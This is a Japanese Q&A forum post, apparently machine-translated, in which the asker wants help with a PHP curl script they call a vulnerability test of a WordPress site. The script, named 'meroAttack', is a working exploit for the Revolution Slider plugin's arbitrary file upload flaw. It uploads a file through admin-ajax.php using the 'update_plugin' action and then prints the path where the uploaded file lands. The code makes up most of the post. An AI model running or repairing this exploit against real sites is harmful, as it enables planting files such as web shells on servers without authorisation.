0

wordpress サイトの脆弱性をテストしようとしており、それを使用curlしてテストしています。

ただし、カールが機能していないようです。

    <?php

 // $uploaded file 
$myf = "test.txt";

function meroAttack($site, $myf) {
    $agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)";
    $cookie_file_path = "/";
    $site   = rtrim($site,'/');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $site . "/wp-admin/admin-ajax.php");
    curl_setopt($ch, CURLOPT_USERAGENT, $agent);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Length: 1024','Expect:'));
    curl_setopt($ch, CURLOPT_POSTFIELDS, array("update_file" => "@" . realpath($myf), "action" => "revslider_ajax_action", "client_action" => "update_plugin"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    $result = curl_exec($ch);
    if($result === FALSE){
        var_dump(curl_error($ch));
    }

    if (eregi('Update in progress', $result)) {
        echo $site . "/wp-content/plugins/revslider/temp/update_extract/" . $myf;
    } else {
        echo $site . " : Not Revslider \n\n";
    }
    curl_close($ch);
}

    meroAttack("http://test.wordpress.devlocal/", $myf);

?>

それに加えて、私のページに次のようなエラーが表示されます。

文字列 'ファイル ""' を開けませんでした (長さ = 21)

何か足りないものはありますか

4

1 に答える 1